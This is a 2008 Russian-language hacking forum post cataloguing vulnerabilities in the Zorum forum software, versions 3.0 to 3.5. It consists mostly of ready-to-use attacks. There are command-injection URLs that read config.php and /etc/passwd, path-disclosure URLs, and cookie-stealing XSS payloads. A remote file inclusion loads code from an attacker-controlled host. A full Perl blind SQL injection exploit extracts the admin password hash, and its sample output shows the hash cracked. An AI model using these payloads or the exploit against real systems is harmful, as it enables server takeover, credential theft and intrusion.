Форумы [ Обзор уязвимостей Zorum ]

Discussion in 'Уязвимости CMS/форумов' started by ~!DoK_tOR!~, 27 Jul 2008.

  1. ~!DoK_tOR!~

    ~!DoK_tOR!~ Banned

    Joined:
    10 Nov 2006
    Messages:
    673
    Likes Received:
    357
    Reputations:
    44
    [ Обзор уязвимостей Zorum ]


    Офф.сайт zorum.phpoutsourcing.com


    Версия: Zorum 3.5

    Воздействие:

    Удаленный пользователь может определить инсталляционный путь и выполнить произвольный код на целевой системе.

    1. Выполнение произвольного кода:

    Code:
    http://[target]/zorum/gorum/prod.php?argv[1]=|ls%20-la
    http://[target]/zorum/gorum/prod.php?argv[1]=|cat%20../config.php
    http://[target]/zorum/gorum/prod.php?argv[1]=|cat%20/etc/passwd
    
    2. Определение инсталляционного пути:

    Code:
    http://[target]/zorum/gorum/notification.php
    http://[target]/zorum/user.php
    http://[target]/zorum/attach.php
    http://[target]/zorum/blacklist.php
    http://[targ et]/zorum/forum.php
    http://[target]/zorum/globalstat.php
    http://[target]/zorum/gorum/trace.php
    http://[target]/zorum/gorum/badwords.php
    http://[target]/zorum/gorum/flood.php
    Версия: Zorum 3.4

    Воздействие:

    Уязвимость в проверке правильности ввода обнаружена в Zorum. Удаленный пользователь может выполнить XSS нападение. Удаленный пользователь может также определить инсталляционный путь.

    1. XSS

    Пример:

    Code:
    http://[target]/pathofzorum/index.php?method=<script>alert('test')</script>
    
    2. Расрытие пути

    Пример:

    Code:
    http://[target]/forum/index.php?method=userfunctions&'list =secmenu&
    Версия: Zorum Message Board 3.3

    Воздействие:

    Удаленный авторизованный пользователь может выполнить XSS нападение против пользователей форума.По сообщениям, удаленный заверенный пользователь может создать сообщение и приложить к нему специальный текстовый файл, содержащий произвольный код сценария, который будет выполнен в браузере пользователя при просмотре такого сообщения.

    XSS

    Code:
    Zorum Forum XSS Bug - all V
    -------------------------------
    tell this step :
    
    " make a text file on your computer and write  
    <Script>javascript:alert(document.cookie)</Script>  "
    
    1)  Register on the forum ( New User )
    2) write new topic or reply any topic
    3) attchment the text file to forum
    u well see cookie in alert message
    
    Версия: Zorum Forum 3.0, 3.1, 3.2

    Воздействие:

    Файл 'include.php' включает несколько других PHP файлов, используя переменную '$gorumDir'. Удаленный пользователь может создать URL, который в переменной '$gorumDir' ссылается на PHP файл, расположенный на удаленном сервере. Код, содержащийся в этом файле, будет выполнен в контексте уязвимого сервера. PHP код может включать команды оболочки операционной системы.

    Уязвимые переменные используются в следующих файлах:

    Code:
    generformlib_multipleselection.php
    generformlib_groupselection.php
    generformlib_filebutton.php
    group.php
    
    Пример:

    Code:
    http://[target]/[forum_dir]/include.php?gorumDir=http://[attacker ]/
    выполнится код в файле:

    Code:
    http://[attacker]/group.php
    Версия: Zorum 3.5

    Воздействие: SQL Injection

    Exploit:

    Code:
    #!/usr/bin/perl
    
    use LWP::UserAgent;
    
    # -------------------------------------------------------------------------------------------
    # Zorum forum (http://zorum.phpoutsourcing.com/) version 3.5 sql injection exploit
    # by 1dt.w0lf // RusH security team
    # *** work on all mysql versions
    # -------------------------------------------------------------------------------------------
    # Usage: r57zor.pl [path] [rollid] [username] 
    # [path]     - path to forum
    # [rollid]   - forum number where user create topic
    # [username] - username for bruteforce
    # -------------------------------------------------------------------------------------------
    # screen:
    # r57zor.pl http://zorum.phpoutsourcing.com/forum/ 4 admin
    #  Please wait...
    #  [################]
    #
    #  USER_NAME: admin
    #  USER_PASS: 32b3956b2024e0fc
    # -------------------------------------------------------------------------------------------  
    # well it's just default sql crypting...
    #  mysql_crk.exe 32b3956b2024e0fc
    #  Hash: 32b3956b2024e0fc
    #  Trying length 3
    #  Trying length 4
    #  Trying length 5
    #  Trying length 6
    #  Found pass: habzsi
    # jabi-dabi-duuuu ... we are admins now... =)
    # -------------------------------------------------------------------------------------------
    # greets 2: GHC.ru , gst.void.ru
    # -------------------------------------------------------------------------------------------
    # 01.03.05
    
    
    $path     = $ARGV[0];
    $rollid   = $ARGV[1];
    $username = $ARGV[2];
    
    $s_num = 1;
    $|++;
    
    if (@ARGV < 2) { &usage; }
    print " Please wait...\r\n";
    print " [";
    
    ### quotes must die =)
    ($uusername = $username) =~ s/(.)/sprintf("%d,",ord($1))/eg;
    $uusername =~ s/(.*),$/$1/;
    
    while(1)
    {
    if(&found(47,58)==0) { &found(96,122); } 
    $char = $i;
    if ($char=="0") 
     { 
     print qq{] 
     
     USER_NAME: $username
     USER_PASS: $allchar
     };
     exit(); 
     }
    else 
     { 
     print "#"; 
     $allchar .= chr($char); 
     }
    $s_num++;
    }
    
    sub found($$)
     {
     my $fmin = $_[0];
     my $fmax = $_[1];
     if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }
     
     $r = int($fmax - ($fmax-$fmin)/2);
     $check = " BETWEEN $r AND $fmax";
     if ( &check($check) ) { &found($r,$fmax); }
     else { &found($fmin,$r); }
     }
     
    sub crack($$)
     {
     my $cmin = $_[0];
     my $cmax = $_[1];
     $i = $cmin;
     while ($i<$cmax)
      {
      $crcheck = "=$i";
      if ( &check($crcheck) ) { return $i; }
      $i++;
      }
     $i = 0;
     return $i;
     }
     
    sub check($)
     {
     $n++;
     $ccheck = $_[0];
     $http_query = $path."index.php?method=showhtmllist&list=topic&rollid=".$rollid." AND u.name=char(".$uusername.") AND ascii(substring(u.password,".$s_num.",1))".$ccheck." /*";
     $mcb_reguest = LWP::UserAgent->new() or die;
     $res = $mcb_reguest->post($http_query); 
     @results = $res->content; 
     
     #print " HTTP QUERY : $http_query \r\n";
     
     foreach $result(@results)
      {
      if ($result =~ /details/) { return 1; }
      }
     return 0;
     }
     
    
    sub usage()
     {
     print q( 
    +-------------* Zorum sql injection exploit *--------------+
    |                  r57 private stuff !!!                   |
    |                   http://rst.void.ru                     |
    |---* USAGE *----------------------------------------------|
    | r57zor.pl [path] [rollid] [username]                     |
    +--------------* view sources for more info *--------------+
     );
     exit();
     }
    
     
    #1 ~!DoK_tOR!~, 27 Jul 2008
    Last edited: 27 Jul 2008
    1 person likes this.
  2. ~!DoK_tOR!~

    ~!DoK_tOR!~ Banned

    Joined:
    10 Nov 2006
    Messages:
    673
    Likes Received:
    357
    Reputations:
    44